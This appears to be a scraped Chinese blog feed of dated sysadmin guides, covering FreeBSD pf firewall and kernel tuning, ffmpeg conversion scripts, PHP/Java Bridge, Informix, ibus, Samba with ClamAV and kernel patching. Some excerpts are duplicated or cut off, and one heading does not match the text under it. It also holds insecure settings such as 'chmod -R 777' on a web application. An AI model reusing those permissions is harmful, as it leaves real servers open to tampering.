安装:sudo apt-get install debfoster
当我们使用apt安装软件的时候,它会把那个软件所依赖的软件包都安装上去，但是当我们卸载这个软件包的时候，那些为满足这个软件包的依赖关系而装上去的包并没有从系统里卸载掉.这个时候我们就会用到debfoster啦.
debfoster是apt-get和dpkg的前端,当第一次运行debfoster的时候它会问你那些软件包是要保留的,如果不需要就选n就行.
使用debfoster我们可以方便的安装和卸载软件,比如可以使用debfoster package 来安装某个软件,当我们不需要的时候可以用 debfoster package- 来删除它,同时那些没有用的包也会一起删掉.

6. 使用trans-purge 来为Linux桌面瘦身加速

cd /usr/src/sys/i386/conf cp GERENIC PFOK ee FFOK

修改并加入下面东东

ident PFOK device pf device pflog device pfsync options ALTQ options ALTQ_CBQ options ALTQ_RED options ALTQ_RIO options ALTQ_HFSC options ALTQ_PRIQ options ALTQ_NOPCC options PANIC_REBOOT_WAIT_TIME=0 options DEVICE_POLLING options HZ=2000 options IPSTEALTH # options RANDOM_IP_ID options TCP_DROP_SYNFIN

config PFOK cd /usr/src/sys/i386/compile/PFOK make depend make make install reboot

ee /etc/sysctl.conf net.inet.ip.forwarding=1 net.inet.ip.fastforwarding=1 net.inet.tcp.drop_synfin=1 net.inet.tcp.sendspace=65536 net.inet.tcp.recvspace=65536 #net.inet.udp.sendspace=65535 net.inet.udp.maxdgram=65535 net.local.stream.sendspace=65535 net.inet.tcp.rfc1323=1 #net.inet.tcp.rfc1644=1 net.inet.tcp.rfc3042=1 net.inet.tcp.rfc3390=1 kern.ipc.maxsockbuf=2097152 kern.maxfiles=65536 kern.maxfilesperproc=32768 kern.polling.enable=1 kern.polling.burst_max=500 kern.ipc.somaxconn=2048 kern.ipc.nmbclusters=32768 net.inet.tcp.delayed_ack=0 net.inet.icmp.icmplim=100 net.inet.icmp.icmplim_output=0 net.inet.tcp.drop_synfin=1 ee /boot/loader.conf autobootdelay=”2″

ee /etc/rc.conf sendmail_enable=”NONE” sendmail_submit_enable=”NO” sendmail_outbound_enable=”NO” sendmail_msp_queue_enable=”NO” clear_tmp_enable=”YES” update_motd=”NO” tcp_drop_synfin=”YES” #icmp_drop_redirect=”YES” #icmp_log_redirect=”YES” #log_in_vain=”YES” #accounting_enable=”YES” pf_enable=”YES” pf_rules=”/etc/pf.conf” pf_flags=”" #pflog_enable=”YES” #pflog_logfile=”/var/log/pflog” 这里我就加了句pf_enable=”YES”

uname -a FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386

我的pf.conf

#pfctl -e [...]]]> 现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个，

cd /usr/src/sys/i386/conf
cp GERENIC PFOK
ee FFOK

修改并加入下面东东

ident PFOK
device pf
device pflog
device pfsync
options ALTQ
options ALTQ_CBQ
options ALTQ_RED
options ALTQ_RIO
options ALTQ_HFSC
options ALTQ_PRIQ
options ALTQ_NOPCC
options PANIC_REBOOT_WAIT_TIME=0
options DEVICE_POLLING
options HZ=2000
options IPSTEALTH
# options RANDOM_IP_ID
options TCP_DROP_SYNFIN

config PFOK
cd /usr/src/sys/i386/compile/PFOK
make depend
make
make install
reboot

ee /etc/sysctl.conf
net.inet.ip.forwarding=1
net.inet.ip.fastforwarding=1
net.inet.tcp.drop_synfin=1
net.inet.tcp.sendspace=65536
net.inet.tcp.recvspace=65536
#net.inet.udp.sendspace=65535
net.inet.udp.maxdgram=65535
net.local.stream.sendspace=65535
net.inet.tcp.rfc1323=1
#net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1
kern.ipc.maxsockbuf=2097152
kern.maxfiles=65536
kern.maxfilesperproc=32768
kern.polling.enable=1
kern.polling.burst_max=500
kern.ipc.somaxconn=2048
kern.ipc.nmbclusters=32768
net.inet.tcp.delayed_ack=0
net.inet.icmp.icmplim=100
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

ee /boot/loader.conf
autobootdelay=”2″

ee /etc/rc.conf
sendmail_enable=”NONE”
sendmail_submit_enable=”NO”
sendmail_outbound_enable=”NO”
sendmail_msp_queue_enable=”NO”
clear_tmp_enable=”YES”
update_motd=”NO”
tcp_drop_synfin=”YES”
#icmp_drop_redirect=”YES”
#icmp_log_redirect=”YES”
#log_in_vain=”YES”
#accounting_enable=”YES”
pf_enable=”YES”
pf_rules=”/etc/pf.conf”
pf_flags=”"
#pflog_enable=”YES”
#pflog_logfile=”/var/log/pflog”

这里我就加了句pf_enable=”YES”

uname -a
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386

我的pf.conf

#pfctl -e -F all -f /etc/pf.conf

#只重新load过滤规则
#pfctl -F rules -Rf /etc/pf.conf

#pfctl -f /etc/pf.conf # 重新加载pf.conf 设定档
#pfctl -nf /etc/pf.conf # 确认语法有无符合，但不载入
#pfctl -Nf /etc/pf.conf # 只加载 NAT 的设定档
#pfctl -Rf /etc/pf.conf # 只加载防火墙的过滤设定档

#pfctl -sn # 显示现阶段 NAT 的规则
#pfctl -sr # 显示现阶段过滤的规则
#pfctl -ss # 显示现阶段封包运作状态
#pfctl -si # 显示现阶段过滤封包的统计资料
#pfctl -sa # 显示现阶段所有统计的数据

ext_if=”rl0″
#edu_if=”"
int_if=”fxp0″

ext_addr=”192.168.1.51″

int_net=”172.16.0.0/16″
ext_net = “192.168.0.0/16″
loop = “{lo0, 127.0.0.1}”
OpenPorts = “{21, 22, 80, 88, 4899}”
InsideManagerIPs = “{172.16.0.100}”
InsiteManagerOpenPorts = “{21, 22, 23, 24, 25, 80, 4899}”
priv_nets = “{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12}” # 定義符合 RFC 1918 私有IP 部份
tcp_services = “{ 22, 88, 4899, 123 }” # 定義 port 22, 113 服務
icmp_types = “echoreq” # 定義 tcmp 回應狀態

## down inactive connection quickly
set optimization aggressive

# Normalization: reassemble fragments and resolve or reduce traffic ambiguities.
scrub in all

nat on $ext_if from $int_net to any -> ($ext_if)
#nat on $ext_if from $int_net to $ext_net -> ($ext_if)

#web server map
#rdr pass on $ext_if proto tcp from any to $ext_if port {www,3389,4899,7745} -> $web_server

#—————————-以下防DOS攻击——————————–
#每个IP最大可以有120个非并发的连接（为局域网用户访问本站考虑）
#每个IP最大连接建立的速率小于每秒8个
#单个IP的最大持续连接数 30
#违反以上规则，把这个ip添加到表中
table persist #维持一个持续的表
block in quick from #阻止表中的ip
pass in on $int_if inet proto tcp from any to $int_if flags S/SA keep state \
(source-track rule,max-src-conn 100, max-src-conn-rate 15/3,max-src-states 30,overload flush, src.track 1)

LSassVirusPort = “{445, 135, 139, 593, 512, 5554, 9996, 9995}”
block quick on $int_if inet proto tcp from any to any port $LSassVirusPort

BitTorrentPort= “{ 512, 2049, 4662, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, \
6890, 8880, 8881, 8882, 8883, 8884, 8885, 8886, 8887, 8888, 8889, 8890, 6969, 10700, 21881}”
block quick on $int_if inet proto tcp from any to any port $BitTorrentPort
block quick on $int_if inet proto tcp from any port $BitTorrentPort to any
block quick on $ext_if inet proto tcp from any to any port $BitTorrentPort
block quick on $ext_if inet proto tcp from any port $BitTorrentPort to any

#gameClientPorts = “{4002, 2000, 3838, 4410, 4210, 4230, 5005, 4290, 10010 }”
#GameDenyClients =”{192.168.128.0/24, 192.168.132.0/24}”
#GameServerIps = “{204.251.15.167, 61.152.93.145}”
#block quick on $int_if inet proto tcp from $GameDenyClients to any port $gameClientPorts
#block quick on $ext_if from $GameServerIps to $GameDenyClients
#block quick on $int_if from $GameDenyClients to $GameServerIps

denyserverips = “{202.108.193.21}”
block quick on $int_if from any to $denyserverips

#LSassVirusIp =”{192.168.1.194}”
#block quick on $int_if from $LSassVirusIp to any

一、视频转换

1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音 先安装　ffmpeg　

　cd　/usr/ports/multimedia/ffmpeg 　　ports　安装ffmpeg-devel　在

cd /usr/ports/multimedia/ffmpeg-devel

make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes 　　这个花费时间比较长 　　make install

　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　 　cd　/usr/ports/multimedia/mplayer 　make　config　要是支持rmvb,rm　的话要选那个realplayer

make install

2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh 　　cd　/usr/ports/shell/bash 3、convert脚本 给convert加上执行权限，convert内容为 修改SiteRoot　为你supesite的目录 引用: #!/usr/local/bin/bash Extension=”mpg 3gp mov mpeg vod mp4 m4v avi wmv” [...]]]> 操作系统为freebsd6.2,更新你的ports

一、视频转换

1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音
先安装　ffmpeg　

　cd　/usr/ports/multimedia/ffmpeg
　　ports　安装ffmpeg-devel　在

cd /usr/ports/multimedia/ffmpeg-devel

make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes
　　这个花费时间比较长
　　make install

　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　
　cd　/usr/ports/multimedia/mplayer
　make　config　要是支持rmvb,rm　的话要选那个realplayer

make install

2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh
　　cd　/usr/ports/shell/bash
3、convert脚本
给convert加上执行权限，convert内容为
修改SiteRoot　为你supesite的目录
引用:

#!/usr/local/bin/bash
Extension=”mpg 3gp mov mpeg vod mp4 m4v avi wmv”
SiteRoot=”/usr/local/www/data”
for e in $Extension; do
FullFiles=`find $SiteRoot/video/temp -name “*.$e” -exec ls {} \;`
for FullFile in $FullFiles;do
if [ -f $FullFile ];then
a=`basename $FullFile | awk -F “.” ‘{print $1}’`
b=`echo $a | cut -d_ -f 2 | cut -c-6`
if [ !-d $SiteRoot/video/$b ]; then
mkdir $SiteRoot/video/$b
chown -R www:www $SiteRoot/video/$b
fi
#ffmpeg 转换
ffmpeg -i $FullFile -y -ab 56 -ar 11025 -ac 2 -qscale 9 -t 900 -r 15 -s 320*240 $SiteRoot/video/$b/$a.flv
#mencoder 转换
#mencoder “$FullFile” -o “$SiteRoot/video/$b/$a.flv” -of lavf -lavfopts i_certify_that_my_video_stream_does_not_use_
b_frames -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:dia=4:cmp
=6:vb_strategy=1 -vf scale=512:-3 -ofps 12 -srate 22050

chown www:www $SiteRoot/video/$b/$a.flv
ffmpeg -i $SiteRoot/video/$b/$a.flv -y -f image2 -ss 8 -sameq -t 0.001 -s 320*240 $SiteRoot/video/$b/$a.jpg
chown www:www $SiteRoot/video/$b/$a.jpg
rm $FullFile
fi
done
done
4、设定计划任务

　编辑/etc/crontab　文件

　在path中加入/usr/local/bin　

　按i，进入插入状态，然后输入计划命令，其中的n表示每n分钟执行一次转换，可根据自身情况修改n值，
　如：10(每10分钟执行一次转换)
　0-59/n * * * * 　/usr/local/bin/convert　<-修改为你convert路径
二、在线录制
1、安装diablo-jdk1.5　
　　ports安装
　　cd /usr/ports/java/diablo-jdk1.5　
　　这个要手动下载diablo-caffe-freebsd6-i386-1.5.0_07-b01.tar.bz2，根据提示操作就行。
2、安装ant
　　ports　安装
　　cd /usr/ports/devel/apache-ant-1.7.0
3、安装red5
　　下载http://dl.fancycode.com/red5/red5-0.6rc2.tar.gz
　　将red5-0.6rc2.tar.gz 放到/tmp 目录下
　　mv red5-0.6rc2.tar.gz /tmp
　　cd /usr/local
　 tar -zxf /tmp/red5-0.6rc2.tar.gz
mv red5-0.6rc2 red5

请重新编译red5
cd /usr/local/red5
vi build.properties
找到java.target_version=1.6修改为java.target_version=1.5，然后进行重新编译
执行make

将online.zip 解压到 /usr/local/red5/webapps 下
　　online.zip 下载地址：http://www.supesite.com/tools/online.zip
　　cd /usr/local/red5/webapps
　　tar -zxf /tmp/online.tar.gz
　　开启Red5服务
　　/usr/local/red5/red5.sh &

　　好，现在就可以播客。

1、安装jdk/jre #pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz #pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz 2、 安装javavmwrapper # cd /usr/ports/java/javavmwrapper # make install clean

三、 下载php/java bridge 1、 下载php/java bridge 在下面网址下载php/java bridge 的源代码版本与字节版本

http://sourceforge.net/project/showfiles.php?group_id=117793

四、 上传php/java bridge 1、用cuteftp或leapftp等工具上传到服务器.

五、 解压php/java bridge # tar zxvf php-java-bridge_3.1.8rc2.tar.bz2 # unzip –x php-java-bridge_3.1.8rc2_j2ee.zip 六、 安装php/javabridge 进入php/javabridge 解压目录. 1、# phpize && ./configure –disable-backend –with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 && /usr/local/bin/gmake 2、#sh install.sh 3、#make install 七、 设置php.ini文件 # vi /usr/local/Zend/etc/php.ini 在最后加入以下内容： [java] java.hosts = 127.0.0.1:8080 java.servlet = On 八、 安装resin等back-end 1 、# cd /usr/ports/www/resin3 2、# make WITH_APACHE2=yes install clean 3、编辑httpd.conf 在后面加入以下内容： [...]]]> Freebsd 安装php/java bridge 方法与日志
Evan.Jiang
一、 安装Freebsd
安装freebsd的过程可参考其它文档，在这里可略
二、 安装JDK/JRE
1、下载由freebsd开发团队编译好的jdk/jre 1.5版本。
2、安装jdk/jre 1.5版本

1、安装jdk/jre
#pkg_add diablo-jdk-freebsd6-1.5.0.06.00.tbz
#pkg_add diablo-jre-freebsd6-1.5.0.06.00.tbz
2、 安装javavmwrapper
# cd /usr/ports/java/javavmwrapper
# make install clean

三、 下载php/java bridge
1、 下载php/java bridge
在下面网址下载php/java bridge 的源代码版本与字节版本

http://sourceforge.net/project/showfiles.php?group_id=117793

四、 上传php/java bridge
1、用cuteftp或leapftp等工具上传到服务器.

五、 解压php/java bridge
# tar zxvf php-java-bridge_3.1.8rc2.tar.bz2
# unzip –x php-java-bridge_3.1.8rc2_j2ee.zip
六、 安装php/javabridge
进入php/javabridge 解压目录.
1、# phpize && ./configure –disable-backend –with-java= /usr/local/diablo-jdk1.5.0,/usr/local/diablo-jre1.5.0 && /usr/local/bin/gmake
2、#sh install.sh
3、#make install

七、 设置php.ini文件
# vi /usr/local/Zend/etc/php.ini
在最后加入以下内容：
[java]
java.hosts = 127.0.0.1:8080
java.servlet = On
八、 安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：

ResinConfigServer localhost 6802


4、 设置resin3随机启动
5、 echo ‘resin3_enable=”YES” ‘ >> /etc/rc.conf
6、 手动启动resin3
#/usr/local/etc/rc.d/resin3.sh start
7、
九、 在resin的webapps建相应目录。
#cd /usr/local/resin/webapps
#mkdir JavaBridge
进入php-java-bridge_3.1.8rc2_j2ee的解压目录
将JavaBridge .war 复制resin的webapps下的JavaBridge目录解压。
# cp JavaBridge.war /usr/local/resin3/webapps/JavaBridge/
#cd /usr/local/resin3/webapps/JavaBridge/
# tar zxvf JavaBridge.war
赋于 /usr/local/resin3/webapps/JavaBridge/权限
# cd /usr/local/resin3/webapps/
#chmod –R 777 JavaBridge/
重启服务器

十、 测试php/java bridge
在网站根目录建一个test.php ，内容如下：

// get instance of Java class java.lang.System in PHP
$system = new Java('java.lang.System');

// demonstrate property access
echo 'Java version=' . $system->getProperty(‘java.version’) . ‘
‘;
echo ‘Java vendor=’ . $system->getProperty(‘java.vendor’) . ‘
‘;
echo ‘Java classpath=’ . $system->getProperty(‘java.classpath’) . ‘
‘;
echo ‘Java home=’ . $system->getProperty(‘java.java_home’) . ‘
‘;
echo ‘OS=’ . $system->getProperty(‘os.name’) . ‘ ‘ .
$system->getProperty(‘os.version’) . ‘ on ‘ .
$system->getProperty(‘os.arch’) . ‘
‘;

// java.util.Date example
$formatter = new Java(‘java.text.SimpleDateFormat’,
“EEEE, MMMM dd, yyyy ‘at’ h:mm:ss a zzzz”);

echo $formatter->format(new Java(‘java.util.Date’));

?>

打开浏览器 输入 http://ip/test.php
见到以下内容就可确定php/java bridge 安装正确
Java version=1.5.0
Java vendor=Sun Microsystems Inc.
Java classpath=
Java home=
OS=FreeBSD 6.0-RELEASE on i386
[o(String):"Friday, September 08, 2006 at 10:54:13 AM China Standard Time"]
十一、

下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述

俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。

正常安装启动程序

安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文

选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。

这里选同意许可协议，跟着按下一步

这里选择全部安装，选择安装桌面版，选择从光驱安装。。 跟着按下一步

这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。

这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。

这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。

系统开始正式安装。。

 提示放入第二张光盘，放入第二光盘后，继续安装。

提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。

安装完成，按重新启动。重新启动系统.

pcbsd正准备重启。。。

pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。

login窗口，输入账号与密码.然后直接按回车。

安装完成。PCBSD操作桌面。。。

ox0spy@ubuntu:~$ sudo groupadd informix ox0spy@ubuntu:~$ sudo useradd -g informix -d /opt/informix -m -s /bin/bash informix

2. 环境变量设置

ox0spy@ubuntu:~$ tail /etc/profile # add for informix INFORMIXDIR=/opt/informix INFORMIXSERVER=info_dbs INFORMIXSQLHOSTS=$INFORMIXDIR/etc/sqlhosts ONCONFIG=onconfig.std [...]]]> 1. 用户、组创建

ox0spy@ubuntu:~$ sudo groupadd informix
ox0spy@ubuntu:~$ sudo useradd -g informix -d /opt/informix -m -s /bin/bash informix

2. 环境变量设置

ox0spy@ubuntu:~$ tail /etc/profile
# add for informix
INFORMIXDIR=/opt/informix
INFORMIXSERVER=info_dbs
INFORMIXSQLHOSTS=$INFORMIXDIR/etc/sqlhosts
ONCONFIG=onconfig.std
DBDATE=Y4MD*
LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH
export INFORMIXDIR INFORMIXSERVER ONCONFIG LD_LIBRARY_PATH
PATH=$PATH:$INFORMIXDIR/bin
export PATH

3. 解压安装文件
以informix用户登陆系统
将C1P6NEN.tar放到/opt/informix下
解压缩:

informix@ubuntu:~$ tar xvf C1P6NEN.tar

4. 安装
以root的权限安装

ox0spy@ubuntu:/opt/informix$ sudo ./ids_install

下面根据提示就可以搞定

5. 配置
我是以 文本模式安装的，下面开始配置
1) 在/etc/services中添加两行，如下:

informix@ubuntu:~$ grep sqlexe /etc/services
sqlexe 8887/tcp # informix
sqlexec 8888/tcp # informix

2) 修改/etc/hosts

informix@ubuntu:~$ grep ‘ubuntu’ /etc/hosts
192.168.43.128 ubuntu

3) 配置$INFORMIXDIR/etc/sqlhosts

informix@ubuntu:~$ cat $INFORMIXDIR/etc/sqlhosts | grep -E ‘^[^#]‘
info_dbs onipcshm ubuntu sqlexe
info_dbs_tcp onsoctcp ubuntu sqlexec

4) 建立空间

informix@ubuntu:~$ mkdir dbs && cd dbs && touch rootdbs rootdbs_mirror && chmod 660 *

5) 配置$INFORMIXDIR/etc/onconfig.std文件

ROOTNAME rootdbs
ROOTPATH $INFORMIXDIR/dbs/rootdbs

MIRRORPATH $INFORMIXDIR/dbs/rootdbs_mirror

SERVERNUM 0
DBSERVERNAME info_dbs
DBSERVERALIASES info_dbs_tcp

NETTYPE ipcshm,1,50,CPU
NETTYPE soctcp,1,50,NET

TAPEDEV /dev/null

LTAPEDEV /dev/null

6. 初始化数据库

informix@ubuntu:~$ oninit -ivy

深夜里看着一串串的 …successed 真爽

informix@ubuntu:~$ onstat -i

IBM Informix Dynamic Server Version 11.50.UC3 — On-Line — Up 00:44:43 — 144676 Kbytes
onstat>

到此，数据库安装工作就完成

1、scim输入法和字体（不是我和scim过不去，是ibus和scim过不去啊） sudo aptitude purge ~nscim sudo aptitude install language-support-fonts-zh

2、然后检查源的配置：

sudo gedit /etc/apt/sources.list

3、在软件源中添加：

deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main

4、 在命令行安装：

sudo apt-get update sudo apt-get install ibus-pinyin

sudo apt-get install ibus ibus-pinyin ibus-table

5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：

sudo im-switch -c

6、重启电脑

7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法。

下面这篇也是参考网上，是安装IBUS五笔的。觉得也有一定的参考作用。就顺便也拿过来啦。 IBUS是不错的输入法，目前正在使用中。至少在firefox和opera中国版中还没发现问题。

，自己总结了一下我在ubuntu9.04下ibus五笔的安装方法：

1.加PPA源，先导入ibus的pgpkey（不导入key 每次安装都会有安全警示） 代码: sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com 72dbf294b86c9beb7170023321c022aa985e0e11

然后在软件源中添加 代码: deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main

关闭时更新软件源 2.安装五笔码表及gtk,qt支持 代码: sudo apt-get install ibus-table-wubi ibus-gtk ibus-qt4

3. 如果是第一次安装iBus，那么需要设置一下系统的默认输入法： sudo im-switch -c 4. 注销 5. 在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加五笔输入法。 快捷键： 左shift：中英文切换 右shift：拼音反查，一次只能查一个字，输入拼音后出字时直接按对应数字是输入，按Ctrl+数字反查 ctrl+,：切换单字模式 ctrl+.：切换中英文标点 ctrl+/：切换直接提交模式 ctrl+’：显示输入统计

另外关于光标自动跟随应该是ibus-gtk和ibut-qt4两个包在起作用。

1.安装Samba 3

# cd /usr/ports/net/samba3 # make install clean 安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.

samba_enable=”YES” 2.安装clamav

# cd /usr/ports/security/clamav # make install clean 手动更新病毒库到默认路径

# freshclam 在/etc/rc.conf加一句让Clamav随系统一起启动.

clamav_clamd_enable=”YES” clamav_freshclam_enable=”YES” # 定时更新病毒库 3.安装samba-vscan

# cd /usr/ports/security/samba-vscan # make install clean 在/usr/local/etc/smb.conf的[global]加入

vfs object = vscan-clamav vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf 附简单的smb.conf

# Samba config file created using SWAT # from 127.0.0.1 (127.0.0.1) # Date: 2005/08/06 10:55:55

# Global parameters [global] [...]]]> 安装Freebsd过程略

1.安装Samba 3

# cd /usr/ports/net/samba3
# make install clean
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.

samba_enable=”YES”
2.安装clamav

# cd /usr/ports/security/clamav
# make install clean
手动更新病毒库到默认路径

# freshclam
在/etc/rc.conf加一句让Clamav随系统一起启动.

clamav_clamd_enable=”YES”
clamav_freshclam_enable=”YES” # 定时更新病毒库
3.安装samba-vscan

# cd /usr/ports/security/samba-vscan
# make install clean
在/usr/local/etc/smb.conf的[global]加入

vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf
附简单的smb.conf

# Samba config file created using SWAT
# from 127.0.0.1 (127.0.0.1)
# Date: 2005/08/06 10:55:55

# Global parameters
[global]
dos charset = GB2312
unix charset = GB2312
display charset = GB2312
workgroup = SAMBA
server string = Samba PDC running %v
log level = 2
log file = /var/log/samba/log.%m
max log size = 50
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192
local master = No
dns proxy = No
ldap ssl = no
#hosts allow = 10.0., 127.
vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf

[homes]
comment = Home Directories
valid users = %S
write list = %S
read only = No
create mask = 0666
directory mask = 0777
browseable = No

[profiles]
path = /home/samba/profiles
read only = No
create mask = 0600
directory mask = 0700
browseable = No

[netlogon]
comment = Network Logon Service
path = /home/netlogon
write list =
browseable = No

postgresql-7.2.8 1.安装jdk: 到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可 设置环境变量 PATH=$PATH:/usr/jdk/bin JAVA_HOME=/usr/jdk 2.安装postgresql-7.2.8 编译时注意–enable-multibyte 安装在/usr/pgsql createdb -E EUC_CN test

2.安装jboss 将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss 目录下有个catalina,这就是tomcat-4.0.3 删除, 下载tomcat-4.0.4 解开后拷贝到/usr/jboss/ 重命名为catalina

3.编译apache-2.0.39 ./configure –prefix=/usr/apache –enable-so –with-mpm=prefork make&&make install 4.集成apache和jboss: 很多文档推荐使用mod_jk. 俺读了tomcat的源码和webapp的java源码,找到一种使用 warp集成的方法. 编译mod_webapp.so 解开connector. cd webapp ./support/buildconf.sh ./configure –with-apxs=/usr/apache/bin/apxs cd apache-2.0 make install 会把mod_webapp.so拷贝到/usr/apache/modules目录 修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件. 配置warpconnector 在最后的 四行之前添加

添加以上内容后,jboss的配置就完成.

配置apache

修改httpd.conf:

设定ServerName为合法的FQDN

在最后添加:

LoadModule webapp_module modules/mod_webapp.so WebAppConnection con Warp :8008 #假设你发布了一个test 就应当加入 WebAppDeploy test con /test/

配置完成后,运行apachectl configtest和apachectl startssl命令启动apache

这就可以通过80端口访问jboss中的webapplication.

如果你以后发布什么内容,都需要修改WepAppDeploy一行

添加相关的内容 测试,运行/usr/jboss/bin/下的run.sh 启动jboss-3.0 如果使用localhost/test/联接时可能会看到屏幕输出ERROR… 读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR. 另外,warpconnector是由tomcat容器管理的,在tomcat中 可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理. 所以在关闭socket时会抛出一个异常(在关闭jboss时) 解决办法: 编译tomcat-webapp.jar

其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的. 但是在jboss中发布warp.jar时,因为代码中有一些logger.log(“…”) jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用) 进入刚才的webapp目录下的java/…/warp/目录 主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(“”) 去掉就可以,或者你想作一些其他的改动也可以 回到webapp目录,拷贝build.properties.sample为build.properties 你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME 这个例子中就是/usr/jakarta/jboss/catalina了. 然后运行:

ant

会在本目录build/lib目录生成一个tomcat-webapp.jar. 删除$CATALINA_HOME/server/lib/warp.jar 将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录 就可以.

至于怎么开发我就不说. jsp和servlet没有什么不同.

cmp2.0的例程可以在google搜索jboss3 cmp找到.

目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的)

3、内核先打补丁 cd /usr/src/linux-2.6.15.6 bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 | patch -p0 vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h #define __FD_SETSIZE 65536 vi /usr/src/linux-2.6.15.6/include/linux/fs.h #define INR_OPEN 65536 #define NR_FILE 65536 vi /usr/src/linux-2.6.15.6/include/net/tcp.h #define TCP_TIMEWAIT_LEN (1*HZ) #define TCP_SYNACK_RETRIES 3

4、拷贝原来的config cp /boot/config-2.6.9-42.ELsmp ./.config 注：我的是双cpu的机器，所以是ELsmp make menuconfig

选择 Load an Alternate Configuration File 选择 .config 保存 退出

5、打netfilter补丁 cd /usr/src/path-o-matic-ng-20061024 ./runme –download 注：上述命令选择下载ipp2p time等补丁 export KERNEL_DIR=/usr/src/linux-2.6.15.6 export IPTABLES_DIR=/usr/src/iptables-1.3.6 ./runme ipp2p ./runme time ./runme connlimit 6、配置内核选项 networking networking options network packet filtering (replaces ipchains) IP:Netfilter Configuration 把 ipp2p、time、 Connections/IP 选上

Security options NSA [...]]]> 1、下载
linux-2.6.15.6.tar.bz2
patch-2.6.15.6.bz2
iptables-1.3.6.tar.bz2
patch-o-matic-ng-20061024.tar.bz2
2、解压缩
cd /usr/src
tar -jxf linux-2.6.15.6.tar.bz2
tar -jxf iptables-1.3.6.tar.bz2
tar -jxf patch-o-matic-ng-20061024.tar.bz2

3、内核先打补丁
cd /usr/src/linux-2.6.15.6
bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 | patch -p0
vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h
#define __FD_SETSIZE 65536
vi /usr/src/linux-2.6.15.6/include/linux/fs.h
#define INR_OPEN 65536
#define NR_FILE 65536
vi /usr/src/linux-2.6.15.6/include/net/tcp.h
#define TCP_TIMEWAIT_LEN (1*HZ)
